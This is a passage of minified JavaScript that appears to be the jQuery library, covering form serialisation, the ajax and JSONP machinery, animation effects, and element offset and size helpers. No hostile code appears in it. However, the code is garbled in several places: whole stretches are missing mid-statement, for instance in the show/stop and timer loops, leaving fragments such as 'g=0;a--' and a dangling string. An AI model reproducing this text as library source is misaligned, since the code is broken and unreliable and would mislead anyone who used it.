").append(c.replace(bz,"")).find(g):c)),e&&i.each(e,[c,b,a])}});return this},serialize:function(){return d.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?d.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bA.test(this.nodeName)||bu.test(this.type))}).map(function(a,b){var c=d(this).val();return c==null?null:d.isArray(c)?d.map(c,function(a,c){return{name:b.name,value:a.replace(br,"\r\n")}}):{name:b.name,value:c.replace(br,"\r\n")}}).get()}}),d.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){d.fn[b]=function(a){return this.bind(b,a)}}),d.each(["get","post"],function(a,c){d[c]=function(a,e,f,g){d.isFunction(e)&&(g=g||f,f=e,e=b);return d.ajax({type:c,url:a,data:e,success:f,dataType:g})}}),d.extend({getScript:function(a,c){return d.get(a,b,c,"script")},getJSON:function(a,b,c){return d.get(a,b,c,"json")},ajaxSetup:function(a,b){b?d.extend(!0,a,d.ajaxSettings,b):(b=a,a=d.extend(!0,d.ajaxSettings,b));for(var c in {context:1,url:1})c in b?a[c]=b[c]:c in d.ajaxSettings&&(a[c]=d.ajaxSettings[c]);return a},ajaxSettings:{url:bJ,isLocal:bv.test(bK[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":"*/*"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":d.parseJSON,"text xml":d.parseXML}},ajaxPrefilter:bM(bH),ajaxTransport:bM(bI),ajax:function(a,c){function v(a,c,l,n){if(r!==2){r=2,p&&clearTimeout(p),o=b,m=n||"",u.readyState=a?4:0;var q,t,v,w=l?bP(e,u,l):b,x,y;if(a>=200&&a<300||a===304){if(e.ifModified){if(x=u.getResponseHeader("Last-Modified"))d.lastModified[k]=x;if(y=u.getResponseHeader("Etag"))d.etag[k]=y}if(a===304)c="notmodified",q=!0;else try{t=bQ(e,w),c="success",q=!0}catch(z){c="parsererror",v=z}}else{v=c;if(!c||a)c="error",a<0&&(a=0)}u.status=a,u.statusText=c,q?h.resolveWith(f,[t,c,u]):h.rejectWith(f,[u,c,v]),u.statusCode(j),j=b,s&&g.trigger("ajax"+(q?"Success":"Error"),[u,e,q?t:v]),i.resolveWith(f,[u,c]),s&&(g.trigger("ajaxComplete",[u,e]),--d.active||d.event.trigger("ajaxStop"))}}typeof a==="object"&&(c=a,a=b),c=c||{};var e=d.ajaxSetup({},c),f=e.context||e,g=f!==e&&(f.nodeType||f instanceof d)?d(f):d.event,h=d.Deferred(),i=d._Deferred(),j=e.statusCode||{},k,l={},m,n,o,p,q,r=0,s,t,u={readyState:0,setRequestHeader:function(a,b){r||(l[a.toLowerCase().replace(bD,bE)]=b);return this},getAllResponseHeaders:function(){return r===2?m:null},getResponseHeader:function(a){var c;if(r===2){if(!n){n={};while(c=bt.exec(m))n[c[1].toLowerCase()]=c[2]}c=n[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){r||(e.mimeType=a);return this},abort:function(a){a=a||"abort",o&&o.abort(a),v(0,a);return this}};h.promise(u),u.success=u.done,u.error=u.fail,u.complete=i.done,u.statusCode=function(a){if(a){var b;if(r<2)for(b in a)j[b]=[j[b],a[b]];else b=a[u.status],u.then(b,b)}return this},e.url=((a||e.url)+"").replace(bs,"").replace(bx,bK[1]+"//"),e.dataTypes=d.trim(e.dataType||"*").toLowerCase().split(bB),e.crossDomain||(q=bF.exec(e.url.toLowerCase()),e.crossDomain=q&&(q[1]!=bK[1]||q[2]!=bK[2]||(q[3]||(q[1]==="http:"?80:443))!=(bK[3]||(bK[1]==="http:"?80:443)))),e.data&&e.processData&&typeof e.data!=="string"&&(e.data=d.param(e.data,e.traditional)),bN(bH,e,c,u);if(r===2)return!1;s=e.global,e.type=e.type.toUpperCase(),e.hasContent=!bw.test(e.type),s&&d.active++===0&&d.event.trigger("ajaxStart");if(!e.hasContent){e.data&&(e.url+=(by.test(e.url)?"&":"?")+e.data),k=e.url;if(e.cache===!1){var w=d.now(),x=e.url.replace(bC,"$1_="+w);e.url=x+(x===e.url?(by.test(e.url)?"&":"?")+"_="+w:"")}}if(e.data&&e.hasContent&&e.contentType!==!1||c.contentType)l["Content-Type"]=e.contentType;e.ifModified&&(k=k||e.url,d.lastModified[k]&&(l["If-Modified-Since"]=d.lastModified[k]),d.etag[k]&&(l["If-None-Match"]=d.etag[k])),l.Accept=e.dataTypes[0]&&e.accepts[e.dataTypes[0]]?e.accepts[e.dataTypes[0]]+(e.dataTypes[0]!=="*"?", */*; q=0.01":""):e.accepts["*"];for(t in e.headers)u.setRequestHeader(t,e.headers[t]);if(e.beforeSend&&(e.beforeSend.call(f,u,e)===!1||r===2)){u.abort();return!1}for(t in {success:1,error:1,complete:1})u[t](e[t]);o=bN(bI,e,c,u);if(o){u.readyState=1,s&&g.trigger("ajaxSend",[u,e]),e.async&&e.timeout>0&&(p=setTimeout(function(){u.abort("timeout")},e.timeout));try{r=1,o.send(l,v)}catch(y){status<2?v(-1,y):d.error(y)}}else v(-1,"No Transport");return u},param:function(a,c){var e=[],f=function(a,b){b=d.isFunction(b)?b():b,e[e.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=d.ajaxSettings.traditional);if(d.isArray(a)||a.jquery&&!d.isPlainObject(a))d.each(a,function(){f(this.name,this.value)});else for(var g in a)bO(g,a[g],c,f);return e.join("&").replace(bp,"+")}}),d.extend({active:0,lastModified:{},etag:{}});var bR=d.now(),bS=/(\=)\?(&|$)|()\?\?()/i;d.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return d.expando+"_"+bR++}}),d.ajaxPrefilter("json jsonp",function(b,c,e){var f=typeof b.data==="string";if(b.dataTypes[0]==="jsonp"||c.jsonpCallback||c.jsonp!=null||b.jsonp!==!1&&(bS.test(b.url)||f&&bS.test(b.data))){var g,h=b.jsonpCallback=d.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2",m=function(){a[h]=i,g&&d.isFunction(i)&&a[h](g[0])};b.jsonp!==!1&&(j=j.replace(bS,l),b.url===j&&(f&&(k=k.replace(bS,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},e.then(m,m),b.converters["script json"]=function(){g||d.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),d.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){d.globalEval(a);return a}}}),d.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),d.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var bT=d.now(),bU,bV;d.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&bX()||bY()}:bX,bV=d.ajaxSettings.xhr(),d.support.ajax=!!bV,d.support.cors=bV&&"withCredentials"in bV,bV=b,d.support.ajax&&d.ajaxTransport(function(a){if(!a.crossDomain||d.support.cors){var c;return{send:function(e,f){var g=a.xhr(),h,i;a.username?g.open(a.type,a.url,a.async,a.username,a.password):g.open(a.type,a.url,a.async);if(a.xhrFields)for(i in a.xhrFields)g[i]=a.xhrFields[i];a.mimeType&&g.overrideMimeType&&g.overrideMimeType(a.mimeType),(!a.crossDomain||a.hasContent)&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(i in e)g.setRequestHeader(i,e[i])}catch(j){}g.send(a.hasContent&&a.data||null),c=function(e,i){var j,k,l,m,n;try{if(c&&(i||g.readyState===4)){c=b,h&&(g.onreadystatechange=d.noop,delete bU[h]);if(i)g.readyState!==4&&g.abort();else{j=g.status,l=g.getAllResponseHeaders(),m={},n=g.responseXML,n&&n.documentElement&&(m.xml=n),m.text=g.responseText;try{k=g.statusText}catch(o){k=""}j||!a.isLocal||a.crossDomain?j===1223&&(j=204):j=m.text?200:404}}}catch(p){i||f(-1,p)}m&&f(j,k,m,l)},a.async&&g.readyState!==4?(bU||(bU={},bW()),h=bT++,g.onreadystatechange=bU[h]=c):c()},abort:function(){c&&c(0,1)}}}});var bZ={},b$=/^(?:toggle|show|hide)$/,b_=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,ca,cb=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];d.fn.extend({show:function(a,b,c){var e,f;if(a||a===0)return this.animate(cc("show",3),a,b,c);for(var g=0,h=this.length;g=0;a--)c[a].elem===this&&(b&&c[a](!0),c.splice(a,1))}),b||this.dequeue();return this}}),d.each({slideDown:cc("show",1),slideUp:cc("hide",1),slideToggle:cc("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){d.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),d.extend({speed:function(a,b,c){var e=a&&typeof a==="object"?d.extend({},a):{complete:c||!c&&b||d.isFunction(a)&&a,duration:a,easing:c&&b||b&&!d.isFunction(b)&&b};e.duration=d.fx.off?0:typeof e.duration==="number"?e.duration:e.duration in d.fx.speeds?d.fx.speeds[e.duration]:d.fx.speeds._default,e.old=e.complete,e.complete=function(){e.queue!==!1&&d(this).dequeue(),d.isFunction(e.old)&&e.old.call(this)};return e},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig||(b.orig={})}}),d.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(d.fx.step[this.prop]||d.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=d.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,b,c){function g(a){return e.step(a)}var e=this,f=d.fx;this.startTime=d.now(),this.start=a,this.end=b,this.unit=c||this.unit||(d.cssNumber[this.prop]?"":"px"),this.now=this.start,this.pos=this.state=0,g.elem=this.elem,g()&&d.timers.push(g)&&!ca&&(ca=setInterval(f.tick,f.interval))},show:function(){this.options.orig[this.prop]=d.style(this.elem,this.prop),this.options.show=!0,this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),d(this.elem).show()},hide:function(){this.options.orig[this.prop]=d.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b=d.now(),c=!0;if(a||b>=this.options.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),this.options.curAnim[this.prop]=!0;for(var e in this.options.curAnim)this.options.curAnim[e]!==!0&&(c=!1);if(c){if(this.options.overflow!=null&&!d.support.shrinkWrapBlocks){var f=this.elem,g=this.options;d.each(["","X","Y"],function(a,b){f.style["overflow"+b]=g.overflow[a]})}this.options.hide&&d(this.elem).hide();if(this.options.hide||this.options.show)for(var h in this.options.curAnim)d.style(this.elem,h,this.options.orig[h]);this.options.complete.call(this.elem)}return!1}var i=b-this.startTime;this.state=i/this.options.duration;var j=this.options.specialEasing&&this.options.specialEasing[this.prop],k=this.options.easing||(d.easing.swing?"swing":"linear");this.pos=d.easing[j||k](this.state,i,0,1,this.options.duration),this.now=this.start+(this.end-this.start)*this.pos,this.update();return!0}},d.extend(d.fx,{tick:function(){var a=d.timers;for(var b=0;b
";d.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"}),b.innerHTML=j,a.insertBefore(b,a.firstChild),e=b.firstChild,f=e.firstChild,h=e.nextSibling.firstChild.firstChild,this.doesNotAddBorder=f.offsetTop!==5,this.doesAddBorderForTableAndCells=h.offsetTop===5,f.style.position="fixed",f.style.top="20px",this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15,f.style.position=f.style.top="",e.style.overflow="hidden",e.style.position="relative",this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i,a.removeChild(b),a=b=e=f=g=h=null,d.offset.initialize=d.noop},bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;d.offset.initialize(),d.offset.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(d.css(a,"marginTop"))||0,c+=parseFloat(d.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var e=d.css(a,"position");e==="static"&&(a.style.position="relative");var f=d(a),g=f.offset(),h=d.css(a,"top"),i=d.css(a,"left"),j=e==="absolute"&&d.inArray("auto",[h,i])>-1,k={},l={},m,n;j&&(l=f.position()),m=j?l.top:parseInt(h,10)||0,n=j?l.left:parseInt(i,10)||0,d.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):f.css(k)}},d.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),e=cf.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(d.css(a,"marginTop"))||0,c.left-=parseFloat(d.css(a,"marginLeft"))||0,e.top+=parseFloat(d.css(b[0],"borderTopWidth"))||0,e.left+=parseFloat(d.css(b[0],"borderLeftWidth"))||0;return{top:c.top-e.top,left:c.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&(!cf.test(a.nodeName)&&d.css(a,"position")==="static"))a=a.offsetParent;return a})}}),d.each(["Left","Top"],function(a,c){var e="scroll"+c;d.fn[e]=function(c){var f=this[0],g;if(!f)return null;if(c!==b)return this.each(function(){g=cg(this),g?g.scrollTo(a?d(g).scrollLeft():c,a?c:d(g).scrollTop()):this[e]=c});g=cg(f);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:d.support.boxModel&&g.document.documentElement[e]||g.document.body[e]:f[e]}}),d.each(["Height","Width"],function(a,c){var e=c.toLowerCase();d.fn["inner"+c]=function(){return this[0]?parseFloat(d.css(this[0],e,"padding")):null},d.fn["outer"+c]=function(a){return this[0]?parseFloat(d.css(this[0],e,a?"margin":"border")):null},d.fn[e]=function(a){var f=this[0];if(!f)return a==null?null:this;if(d.isFunction(a))return this.each(function(b){var c=d(this);c[e](a.call(this,b,c[e]()))});if(d.isWindow(f)){var g=f.document.documentElement["client"+c];return f.document.compatMode==="CSS1Compat"&&g||f.document.body["client"+c]||g}if(f.nodeType===9)return Math.max(f.documentElement["client"+c],f.body["scroll"+c],f.documentElement["scroll"+c],f.body["offset"+c],f.documentElement["offset"+c]);if(a===b){var h=d.css(f,e),i=parseFloat(h);return d.isNaN(i)?h:i}return this.css(e,typeof a==="string"?a:a+"px")}}),a.jQuery=a.$=d})(window); 44 | --------------------------------------------------------------------------------